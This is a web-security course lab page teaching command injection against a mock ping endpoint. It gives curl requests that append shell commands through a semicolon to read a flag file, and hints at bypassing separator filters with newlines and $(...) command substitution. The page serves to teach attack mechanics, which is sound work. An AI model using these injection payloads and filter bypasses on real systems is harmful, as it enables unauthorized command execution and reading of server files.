Command Injection · Lab 25
Lab 25 Module 4 Hard

Command Injection

A site has a feature that pings a host. It takes a hostname, passes it to the system ping command, and returns the output. If the input is not sanitized, you can run any command — as the server.

The rule: the ping endpoint at /api/25/ping?host= passes the host to a system command. Your job is to append another command — and read the flag from a file the ping command would never touch.

Test

Copy these. Run them. Read what comes back.

Step 1 · Ping a normal host

Start with a legitimate hostname. Confirm the endpoint works.

Terminal
curl -s "{LAB_API_BASE}/api/25/ping?host=localhost"

What you'll see:

Response
{
  "host": "localhost",
  "output": "PING localhost (127.0.0.1): 56 data bytes\n64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.045 ms\n..."
}

The endpoint runs the system's ping command. The command is probably built like this: ping -c 1 <host>, then the output is returned.

Step 2 · Add a shell separator

On a shell, ; separates commands. If the input is passed to a shell without quoting, the shell will run whatever you append.

Terminal
curl -s --get "{LAB_API_BASE}/api/25/ping" \
  --data-urlencode "host=localhost; whoami"

What you'll see:

Response
{
  "host": "localhost; whoami",
  "output": "PING localhost (127.0.0.1): ...\nlabuser"
}

The command ran whoami after the ping. The output includes the user the server runs as: labuser. You have command execution on the server.

Step 3 · Read the flag

Now read a file the server should not expose. The mock environment places the flag at /srv/flag.txt.

Terminal
curl -s --get "{LAB_API_BASE}/api/25/ping" \
  --data-urlencode "host=localhost; cat /srv/flag.txt"

What you'll see:

Response
{
  "host": "localhost; cat /srv/flag.txt",
  "output": "PING localhost (127.0.0.1): ...\nHL{c0mm4nd_1nj3ct10n_pwn}"
}

The cat /srv/flag.txt ran on the server. Its output was returned to you in the response. That is the full force of command injection: the attacker types shell, the server executes it.

Challenge

Now do it yourself. No copy-paste. Everything you need is above.

The endpoint now blocks ;, &&, and | — the obvious shell separators. But it doesn't block every one. Two commands can be chained on a shell with a newline, and command substitution works without any separator at all.

Try $(cat /srv/deep.txt) as the host. The shell substitutes the command output into the host argument before ping runs. Try it.

The output of the substitution appears in the ping error message — because the substitution result is not a valid hostname. The flag is in the error.

This lab is free. The deep and the full knowledge is in the book. Full 30 Lessons

Lesson 25 — Command Injection

You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.

Buy the book

Already have the book? Back to reader →

Previous Lab 25 of 30 Next lab